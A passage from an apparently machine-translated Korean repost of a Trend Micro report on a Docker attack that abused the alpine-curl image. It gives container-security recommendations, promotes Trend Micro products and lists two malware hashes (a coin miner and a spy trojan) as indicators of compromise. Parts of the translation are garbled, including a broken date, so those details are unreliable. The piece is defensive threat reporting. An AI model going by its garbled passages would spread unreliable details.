์ด ์ด๋ฏธ์ง€(alpine-curl) ์ž์ฒด๋Š” ์•…์„ฑ์€ ์•„๋‹ˆ์ง€๋งŒ, ์œ„์—์„œ ๋ณผ ์ˆ˜ ์žˆ๋“ฏ์ด ์•…์˜์ ์ธ ๊ธฐ๋Šฅ์„ ์ˆ˜ํ–‰ํ•˜๋Š” ๋ฐ ์‚ฌ์šฉ๋  ์ˆ˜ ์žˆ๋‹ค๋Š” ์ ์— ์œ ์˜ํ•˜๋Š” ๊ฒƒ์ด ์ค‘์š”ํ•ฉ๋‹ˆ๋‹ค. ์œ ์‚ฌํ•œ Docker ์ด๋ฏธ์ง€๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ ์•…์˜์ ์ธ ํ™œ๋™์„ ์ˆ˜ํ–‰ํ•  ์ˆ˜๋„ ์žˆ์Šต๋‹ˆ๋‹ค. ์šฐ๋ฆฌ๋Š” Docker์— ์—ฐ๋ฝํ•˜์—ฌ ์ด ๋ฌธ์ œ์— ๋Œ€ํ•ด ํ˜‘๋ ฅํ–ˆ์Šต๋‹ˆ๋‹ค.

์ถ”์ฒœ

์ž˜๋ชป๋œ ์„ค์ • ์œ ์  ๋Š์ž„์—†๋Š” ๋ฌธ์ œ ๋งŽ์€ ๊ธฐ์—…, ํŠนํžˆ ์ด๋ฅผ ๊ตฌํ˜„ํ•˜๋Š” ๊ธฐ์—…์˜ ๊ฒฝ์šฐ ๊ฐœ๋ฐœ์ž, ์‹ ์†ํ•œ ๊ฐœ๋ฐœ ๋ฐ ์ œ๊ณต์— ์ค‘์ ์„ ๋‘ก๋‹ˆ๋‹ค. ๊ฐ์‚ฌ ๋ฐ ๋ชจ๋‹ˆํ„ฐ๋ง ๊ทœ์น™์„ ์ค€์ˆ˜ํ•ด์•ผ ํ•  ํ•„์š”์„ฑ, ๋ฐ์ดํ„ฐ ๊ธฐ๋ฐ€์„ฑ์„ ๋ชจ๋‹ˆํ„ฐ๋งํ•ด์•ผ ํ•  ํ•„์š”์„ฑ, ๋น„์ค€์ˆ˜๋กœ ์ธํ•œ ๋ง‰๋Œ€ํ•œ ํ”ผํ•ด๋กœ ์ธํ•ด ๋ชจ๋“  ๊ฒƒ์ด ์•…ํ™”๋ฉ๋‹ˆ๋‹ค. ๊ฐœ๋ฐœ ์ˆ˜๋ช…์ฃผ๊ธฐ์— ๋ณด์•ˆ ์ž๋™ํ™”๋ฅผ ํ†ตํ•ฉํ•˜๋ฉด ๊ฐ์ง€๋˜์ง€ ์•Š์„ ์ˆ˜ ์žˆ๋Š” ๋ณด์•ˆ ํ—ˆ์ ์„ ์ฐพ๋Š” ๋ฐ ๋„์›€์ด ๋  ๋ฟ๋งŒ ์•„๋‹ˆ๋ผ ๋ฐœ๊ฒฌ๋œ ๊ฐ ์ทจ์•ฝ์ ์— ๋Œ€ํ•ด ์ถ”๊ฐ€ ์†Œํ”„ํŠธ์›จ์–ด ๋นŒ๋“œ๋ฅผ ์‹คํ–‰ํ•˜๊ฑฐ๋‚˜ ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜ ๋ฐฐํฌ ํ›„ ์ž˜๋ชป๋œ ๊ตฌ์„ฑ์„ ์‹คํ–‰ํ•˜๋Š” ๋“ฑ ๋ถˆํ•„์š”ํ•œ ์ž‘์—… ๋ถ€ํ•˜๋ฅผ ์ค„์ด๋Š” ๋ฐ๋„ ๋„์›€์ด ๋ฉ๋‹ˆ๋‹ค.

์ด ๊ธฐ์‚ฌ์—์„œ ๋…ผ์˜๋œ ์‚ฌ๊ฑด์€ ๋‹ค์Œ ๊ถŒ์žฅ ์‚ฌํ•ญ์„ ํฌํ•จํ•˜์—ฌ ์ฒ˜์Œ๋ถ€ํ„ฐ ์•ˆ์ „์„ ๊ณ ๋ คํ•ด์•ผ ํ•  ํ•„์š”์„ฑ์„ ๊ฐ•์กฐํ•ฉ๋‹ˆ๋‹ค.

  • ์‹œ์Šคํ…œ ๊ด€๋ฆฌ์ž ๋ฐ ๊ฐœ๋ฐœ์ž์˜ ๊ฒฝ์šฐ: ํ•ญ์ƒ API ์„ค์ •์„ ํ™•์ธํ•˜์—ฌ ๋ชจ๋“  ๊ฒƒ์ด ํŠน์ • ์„œ๋ฒ„ ๋˜๋Š” ๋‚ด๋ถ€ ๋„คํŠธ์›Œํฌ์˜ ์š”์ฒญ๋งŒ ์ˆ˜๋ฝํ•˜๋„๋ก ๊ตฌ์„ฑ๋˜์–ด ์žˆ๋Š”์ง€ ํ™•์ธํ•˜์„ธ์š”.
  • ์ตœ์†Œ ๊ถŒํ•œ ์›์น™์„ ๋”ฐ๋ฅด์‹ญ์‹œ์˜ค. ์ปจํ…Œ์ด๋„ˆ ์ด๋ฏธ์ง€๊ฐ€ ์„œ๋ช… ๋ฐ ๊ฒ€์ฆ๋˜์—ˆ๋Š”์ง€ ํ™•์ธํ•˜๊ณ  ์ค‘์š”ํ•œ ๊ตฌ์„ฑ ์š”์†Œ(์ปจํ…Œ์ด๋„ˆ ์‹คํ–‰ ์„œ๋น„์Šค)์— ๋Œ€ํ•œ ์•ก์„ธ์Šค๋ฅผ ์ œํ•œํ•˜๊ณ  ๋„คํŠธ์›Œํฌ ์—ฐ๊ฒฐ์— ์•”ํ˜ธํ™”๋ฅผ ์ถ”๊ฐ€ํ•˜์‹ญ์‹œ์˜ค.
  • ๋”ฐ๋ฅด๋‹ค ์ถ”์ฒœ ๋ณด์•ˆ ๋ฉ”์ปค๋‹ˆ์ฆ˜์„ ํ™œ์„ฑํ™”ํ•ฉ๋‹ˆ๋‹ค. ๋„์ปค์—์„œ ๊ทธ๋ฆฌ๊ณ  ๋‚ด์žฅ ์•ˆ์ „ ์„ค๋น„.
  • ๋Ÿฐํƒ€์ž„ ๋ฐ ์ด๋ฏธ์ง€์˜ ์ž๋™ ์Šค์บ”์„ ์‚ฌ์šฉํ•˜์—ฌ ์ปจํ…Œ์ด๋„ˆ์—์„œ ์‹คํ–‰ ์ค‘์ธ ํ”„๋กœ์„ธ์Šค์— ๋Œ€ํ•œ ์ถ”๊ฐ€ ์ •๋ณด๋ฅผ ์–ป์Šต๋‹ˆ๋‹ค(์˜ˆ: ์Šคํ‘ธํ•‘ ๊ฐ์ง€ ๋˜๋Š” ์ทจ์•ฝ์  ๊ฒ€์ƒ‰). ์‘์šฉ ํ”„๋กœ๊ทธ๋žจ ์ œ์–ด ๋ฐ ๋ฌด๊ฒฐ์„ฑ ๋ชจ๋‹ˆํ„ฐ๋ง์€ ์„œ๋ฒ„, ํŒŒ์ผ ๋ฐ ์‹œ์Šคํ…œ ์˜์—ญ์— ๋Œ€ํ•œ ๋น„์ •์ƒ์ ์ธ ๋ณ€๊ฒฝ ์‚ฌํ•ญ์„ ์ถ”์ ํ•˜๋Š” ๋ฐ ๋„์›€์ด ๋ฉ๋‹ˆ๋‹ค.

Trendmicro๋Š” DevOps ํŒ€์ด ์•ˆ์ „ํ•˜๊ฒŒ ๊ตฌ์ถ•ํ•˜๊ณ , ๋น ๋ฅด๊ฒŒ ์ถœ์‹œํ•˜๊ณ , ์–ด๋””์„œ๋‚˜ ์ถœ์‹œํ•  ์ˆ˜ ์žˆ๋„๋ก ์ง€์›ํ•ฉ๋‹ˆ๋‹ค. ํŠธ๋ Œ๋“œ๋งˆ์ดํฌ๋กœ ํ•˜์ด๋ธŒ๋ฆฌ๋“œ ํด๋ผ์šฐ๋“œ ๋ณด์•ˆ ์กฐ์ง์˜ DevOps ํŒŒ์ดํ”„๋ผ์ธ ์ „๋ฐ˜์— ๊ฑธ์ณ ๊ฐ•๋ ฅํ•˜๊ณ  ๋Šฅ๋ฅ ์ ์ด๋ฉฐ ์ž๋™ํ™”๋œ ๋ณด์•ˆ์„ ์ œ๊ณตํ•˜๊ณ  ๋‹ค์–‘ํ•œ ์œ„ํ˜‘ ๋ฐฉ์–ด ๊ธฐ๋Šฅ์„ ์ œ๊ณตํ•ฉ๋‹ˆ๋‹ค. XGen ๋Ÿฐํƒ€์ž„ ์‹œ ๋ฌผ๋ฆฌ์ , ๊ฐ€์ƒ ๋ฐ ํด๋ผ์šฐ๋“œ ์›Œํฌ๋กœ๋“œ๋ฅผ ๋ณดํ˜ธํ•ฉ๋‹ˆ๋‹ค. ๋˜ํ•œ ์ปจํ…Œ์ด๋„ˆ ๋ณด์•ˆ์„ ์ถ”๊ฐ€ํ•ฉ๋‹ˆ๋‹ค. ์‹ฌ์ธต ๋ณด์•ˆ ะธ Deep Security ์Šค๋งˆํŠธ ์ฒดํฌ, ๋ฐฐํฌ๋˜๊ธฐ ์ „์— ์œ„ํ˜‘์„ ๋ฐฉ์ง€ํ•˜๊ธฐ ์œ„ํ•ด ๊ฐœ๋ฐœ ํŒŒ์ดํ”„๋ผ์ธ์˜ ์–ด๋Š ์‹œ์ ์—์„œ๋“  Docker ์ปจํ…Œ์ด๋„ˆ ์ด๋ฏธ์ง€์—์„œ ๋งฌ์›จ์–ด ๋ฐ ์ทจ์•ฝ์ ์„ ๊ฒ€์‚ฌํ•ฉ๋‹ˆ๋‹ค.

ํƒ€ํ˜‘์˜ ์ง•ํ›„

๊ด€๋ จ ํ•ด์‹œ:

  • 54343fd1555e1f72c2c1d30369013fb40372a88875930c71b8c3a23bbe5bb15e (Coinminer.SH.MALXMR.ATNO)
  • f1e53879e992771db6045b94b3f73d11396fbe7b3394103718435982a7161228 (TrojanSpy.SH.ZNETMAP.A)

์— ๋„์ปค ๋น„๋””์˜ค ์ฝ”์Šค ์—ฐ์Šตํ•˜๋Š” ์—ฐ์‚ฌ๋“ค์€ ์œ„์—์„œ ์„ค๋ช…ํ•œ ์ƒํ™ฉ์ด ๋ฐœ์ƒํ•  ๊ฐ€๋Šฅ์„ฑ์„ ์ตœ์†Œํ™”ํ•˜๊ฑฐ๋‚˜ ์™„์ „ํžˆ ํ”ผํ•˜๊ธฐ ์œ„ํ•ด ๋จผ์ € ์–ด๋–ค ์„ค์ •์„ ํ•ด์•ผ ํ•˜๋Š”์ง€ ๋ณด์—ฌ์ค๋‹ˆ๋‹ค. ๊ทธ๋ฆฌ๊ณ  19์›” 21~XNUMX์ผ ์˜จ๋ผ์ธ ์ง‘์ค‘๊ฐ•์ขŒ์—์„œ DevOps ๋„๊ตฌ ๋ฐ ์š”๋ น ์›ํƒ์—์„œ ๋™๋ฃŒ ๋ฐ ํ˜„์ง ๊ต์‚ฌ์™€ ์ด๋Ÿฌํ•œ ๋ณด์•ˆ ๋ฌธ์ œ ๋ฐ ์œ ์‚ฌํ•œ ๋ณด์•ˆ ๋ฌธ์ œ๋ฅผ ๋…ผ์˜ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์—ฌ๊ธฐ์„œ ๋ชจ๋‘๊ฐ€ ๊ฒฝํ—˜์ด ํ’๋ถ€ํ•œ ๋™๋ฃŒ์˜ ๊ณ ํ†ต๊ณผ ์„ฑ๊ณต์— ๋Œ€ํ•ด ์ด์•ผ๊ธฐํ•˜๊ณ  ๋“ค์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

์ถœ์ฒ˜ : habr.com

์ฝ”๋ฉ˜ํŠธ๋ฅผ ์ถ”๊ฐ€